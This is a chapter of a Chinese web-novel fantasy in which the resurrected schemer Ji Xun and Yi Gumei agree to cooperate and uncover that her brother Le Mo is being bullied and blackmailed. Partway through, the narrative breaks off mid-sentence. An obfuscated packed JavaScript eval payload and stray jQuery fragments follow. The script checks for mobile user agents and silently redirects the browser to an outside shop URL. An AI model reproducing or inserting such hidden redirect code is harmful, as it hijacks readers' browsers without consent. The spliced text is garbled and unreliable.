48.合作

作品:《反派?那也得冲业绩!

    季寻死前是什么人,就算所有人都忘了,伊骨美都不会忘。


    狠毒,刻薄,两面三刀,根本就形容不了他这种人渣。


    只要被这种人算计过一次,没个几十年一百年是忘不了的,就算模糊了、释怀了,再见到时,浑身就会产生如坠入深海的窒息感,伊骨美就是如此。她深知,季寻是一张扎着密密麻麻小洞的网,一次吃足,不论将来,所以步步都是破釜沉舟,步步阴险至极。


    可他毕竟也是个老朋友了。


    “季寻……”伊骨美看着眼前这个人,那张和记忆里一比一复刻的脸,尤其那双眼睛。


    汪洋一样的颜色里,没有曾经一人之下万人之上的权利滋养出的阴柔和灵气,取而代之的是寄人篱下,身陷泥淖如死水般孤寂和平静,让人躁动不安。


    “欢迎回来。”


    季寻一愣,脚下红腥色的水骤然退散,他走到伊骨美面前:“骨美姐,我们合作吧。”


    伊骨美看着他的眼睛:“你身后站的是蓝国的情报机关,目的为了早日瓦解天国,我身后站的是天国云宫,目的是为了守护天国和平。不管从哪个角度看,我都应该杀了你,凭什么跟你合作呢?”


    季寻肯定的说:“就为了我们有共同的目的,保护乐摹哥啊。”


    “我哥有我就够了,用不着你。”


    季寻笑她道:“真的吗?”


    他继而质问:“那你打算怎么解决这次的事呢?那几十个人已经死透了,黛温反咬乐摹一口,两个人撕咬起来,你觉得黛温会有什么下场?乐摹又会有什么下场?”


    乐摹会有什么下场,他们都心知肚明。


    黛温会被右天王和云宫圣殿里三成以上的人包庇,作为牺牲品,乐摹会被踢出局。这也是伊骨美最不愿意看到的。


    “司命大人,你打算怎么办呢?”


    “……如果不是你把尸体弄没了,事情也不会变的这么棘手。”说到这儿,伊骨美刚刚那因为跟季寻久别重逢而暖热的脸色瞬间冷了下来,“我没有找你算账,你反倒拿你闯出来的祸来当谈判筹码。”


    “也是,”不等季寻说话,她自顾自的说:“你的一贯作风了。”


    季寻黑蓝色的眼睛里写满了歉意:“骨美姐,别怪我,你那么聪明,我可不敢把好不容易从阎王手里抢来的这条命交到你的手上。”


    “……”


    “我给出的方案,永远是最好的方案,你只要好好配合我,乐摹哥就能挺过这次难关。”季寻循循善诱:“不仅如此,我还能帮你们斩草除根。我和黛温是老同事了,乐摹哥只知道她的白,而我知道她的黑,难道还能有比我更合适的合作人选吗。”


    伊骨美别过眼:“黛温我自有办法对付。”


    季寻朝她走近,边走边说:“真的吗,什么好办法,快说来听听啊。”


    伊骨美没心情跟他兜圈子,“乐摹比黛温更年轻,能力更强,也比黛温更能守住秘密,如果两个人只能留下一个,傻子都知道乐摹比黛温好得多得多得多,唯一让尤渚不得不放弃乐摹哥的理由,无非是信任而已。”


    季寻点头表示认可:“然后呢?”


    “尤渚从不靠自己管理天国,她习惯抓住可用之人的把柄,逼迫他们来帮助自己管理天国。”伊骨美终于眼底浮起季寻记忆中那抹熟悉的冷漠,“如果尤渚手上有乐摹的把柄,那我相信所有问题都会迎刃而解了。”


    季寻不置可否,只说:“废话。”


    乐摹这种从法术到功夫都是天才中天才的肥肉,尤渚只怕不能一口吞掉,可却迟迟没有动手,只能证明一件事——乐摹的履历太干净了。


    她挑不到乐摹一丁点错处,乐摹本人又是极其阳光正义又热爱生活的五好青年,对于尤渚来说,恐怕就像面对柠檬蛋糕一样无力吧。


    毕竟她特别喜欢甜食,但对柠檬严重过敏。


    季寻想到这里,感觉有点搞笑。


    他说:“骨美姐,我可是当着乐摹哥的面吃掉了那些尸体,他甚至没有正儿八经的拦过我。”


    “……你什么意思?”伊骨美顿感不妙。


    “我觉得你对你哥哥实在不是很上心,据我的了解,乐摹哥虽然大大咧咧,但却心细如发。你和他一起长大,应该对他骨子里的血性有一定了解,乐摹哥心地善良,反对无谓杀戮,但他真的是那种心慈手软的人吗?”


    伊骨美肯定道:“绝对不是。”


    “那就奇怪了,你说乐摹被他的这些同事甚至下属潜移默化的霸凌这么久,他为什么不回击?”


    “等等,你说霸凌……?”伊骨美呆住了,念叨了一下这个突兀的词,一时间屏住了呼吸,“你说什么?”


    “你不知道?”季寻张大眼睛看着她,心底忽然替乐摹感到悲哀:“连你也不知道?”


    但问出口的瞬间季寻也了然,乐摹要是想瞒着别人什么事,那这个人八成是一丁点都察觉不到的。


    伊骨美对望着他温润的眉眼,哑口无言,只是震惊。这突如其来的信息让她恍然大悟:“你的意思是他被尤渚威胁了?”


    她有些失魂落魄,喃喃自语:“可你自己也说了,乐摹的履历没有什么污点。”


    “没有污点,这不就是最大的污点吗?”季寻一本正经的说,“如果是你,碰到这种硬骨头,你会怎么办?”


    伊骨美明白了,“你是说,尤渚拿我威胁他?”


    “不是尤渚,应该是黛温自己的小动作,”季寻表情也很复杂,他说:“尤渚自己也有家庭,为了拉拢一个乐摹,不值当她突破下限。或许在尤渚看来,用一个人犯过的错误去威胁他是那人咎由自取,但用一个人珍重的家人去威胁他,那就是犯贱。”


    “黛温,拿我威胁我哥……”伊骨美声音弱了下去:“拿我威胁他……”


    “可能不只是你,我记得乐摹哥有个双腿残废的母亲,你们还有一起照顾着一个正上学的妹妹,这些估计都是黛温威胁乐摹哥的筹码。”


    “……”伊骨美沉默了一会儿,“她真是想死了……”


    季寻平静的说:“这种问题,我最擅长解决了,更别说对象还是乐摹哥,我只会更尽心尽力。”


    “你有什么办法?”


    “我会找机会证明给你的,但现在还不是时候。”季寻见她态度松动,笑容越发明亮:“毕竟,整个天国最了解右天王的,就是我了。”


    犹豫片刻,伊骨美伸出手:“我同意合作。”


    季寻握了上去:“谢谢骨美姐。”


    空间回收进季寻手掌,在他手心结了一朵盛开曼珠沙华的法印,镶在掌纹中潜入皮肉。伊骨美仰头,漫天猩红的颜色正像拼图似的一块块掉落下来,整个赈灾营地也重新出现在四周。


    “对了,你有法力了。”伊骨美说。


    “对了,你是司命了。”季寻说。


    两人几乎是同时开了口,伊骨美看了他一眼。季寻食指点在自己头顶,红发浓密富有光泽,他从善如流的接道:“是啊,所以我的头发现在变成这样了。”


    伊骨美收回视线,也回答了他的问题:“大董被尤渚辞退了。”


    “这样啊。”


    在尤渚手下做事,从来没有辞退一说,所谓辞退,不过是给“谋杀”一个文艺一点的名字而已。


    猛然听到这种熟悉的黑话,季寻说不上是心凉还是暖。


    他第一反应是觉得大董活该,第二反应是迷茫,毕竟这种事已经离他四百年远了。


    “你知道大董怎么死的吗?”


    “怎么死的。”


    “和你一样,但他被剁的更碎,几乎成了汤水。”伊骨美静静地,也不看季寻的表情,她不知道自己为什么偏要提这些,不是为了刺激季寻,而是单纯觉得,他得知道这些。“是尤渚的命令,我觉得她有要为你泄愤的意思在里面,当年你的死,她确实伤心。”


    虽然你的死,也有她一份功劳。


    好一会儿,就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073870|194639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在她以为季寻不会回答了,季寻才低低的“嗯”了一声。


    我明白你的意思了。伊骨美松了一口气,她不笑的时候眉尾会耷拉下来,看起来总像受了委屈,可那双眼睛又很凌厉绝情。


    这张男相的俊脸像两副的五官拼在一起,略微不协调,但又意外的很漂亮。


    季寻脑海里闪过以前伊骨美以前穿裙子扎着两个低马尾的模样。


    那时候她是个沉稳内敛的女生,看来这四百年也是刀枪剑戟,让她像变了个人似的。从思绪万千的乖乖女变成现在这个阴晴不定的乖戾少女。


    季寻第一次直观的感受到四百年对一个人的改变。


    虽然有了一定心理准备,但还是不由自主地保留着当年的思想。


    “当时大董为了榨干你的血,你的整个尸身,几乎不成人形。”伊骨美边走边说,“要修复你那具尸体,连我这个司命都做不到,我能想象到,你现在的状态不好……”


    “不是不好,”季寻苦笑着:“是很糟糕。”


    “你没有什么要问我的吗?”伊骨美脸色越来越难看,尤其在乐摹的帐篷出现在视野中,她眼圈通红竟像是要哭出来似的。


    一步一步走着,伊骨美脑子里,眼睛前,甚至感觉呼吸到的空气都与乐摹有关。这些年有多少次,和乐摹说话时他那时不时紧张起来的反应,还有那些“莫名”变的敏感神经的脾气,似乎都有迹可循了。


    乐摹很久没有回家看过了。


    他没有和妈吵架,总拿工作忙任务多当借口,伊骨美帮他打掩护,两人都惹得妈不高兴了。然后伊骨美每个月回家的次数翻了倍,乐摹却怄气般彻底不回家了,只是每个月给家里的钱越来越多。


    但他们家现在早就不缺钱了。


    母亲缺乐摹陪伴的时间,小妹的童年缺哥哥的记忆。


    他们的妹妹还很小,那么小的孩子,和谁见的多就会更亲近谁,伊骨美不止一次用这个作为借口,提醒乐摹要多回家看看。


    她居然从来没有问过,乐摹那么爱操心的人,为什么忽然对“家”变的这么冷淡。


    “没有。”季寻从口袋里翻出一块帕子,捏在手里,“我牵挂的人,只要安然无恙,就算我们无法相见,也没什么大不了的。”


    两人走到乐摹的帐篷门帘前,伊骨美撩起帘布。


    乐摹正在收拾被砸的一片狼藉房间,见他们两个一起出现,惊讶道:“唉?”


    但他下一秒就有点慌了,反应迅速的拿没心没肺的笑掩饰过去:“都说了要找我去那边那个帐篷里……”


    伊骨美从他身边走过,一眼都没搭理他,她望向里面被砸的稀巴烂的物什,头也不回的说:“但你有没有想过,你牵挂的人也在时时刻刻担忧着你呢?”


    乐摹被伊骨美的脸色吓了一跳,季寻安慰性的拍了拍他的肩膀,回答她:“除了你,应该没有人记得我了吧,又有谁会牵挂我呢?纵使我刚消失的时候有,但过了几十年、一百年、最多两百年,也把我忘干净了吧。”


    “别当着一个医生的面,把死说的一文不值……”


    乐摹看了季寻一眼,大概明白为什么伊骨美突然发难了,他想上前制止对方一点点把这间房间“看光”的举动,但季寻提前抓住了他的手臂,轻声阻止:“乐摹哥。”


    乐摹一阵无力,泄气认命般不打算挣扎了。


    伊骨美在房间里走了两步,第六感般走到床边,一把掀开了被人刻意拿被子盖住的床板。那上面的字边缘已经花了,看起来是被人费劲的想要擦掉,但没有用。


    上面写着:


    老鼠出洞,没脸没皮,


    蛀虫啃树,滚回老家!


    “也别当着我的面,骗我跟我说这些都无所谓……”


    少年的眼泪掉在那些字上,不要钱的撒了一床。背对着乐摹和季寻的阴影里,她咬紧了牙关,委屈和心酸再也忍不住喷涌而出,就像个代替乐摹承担伤害的木偶,无声哭泣着。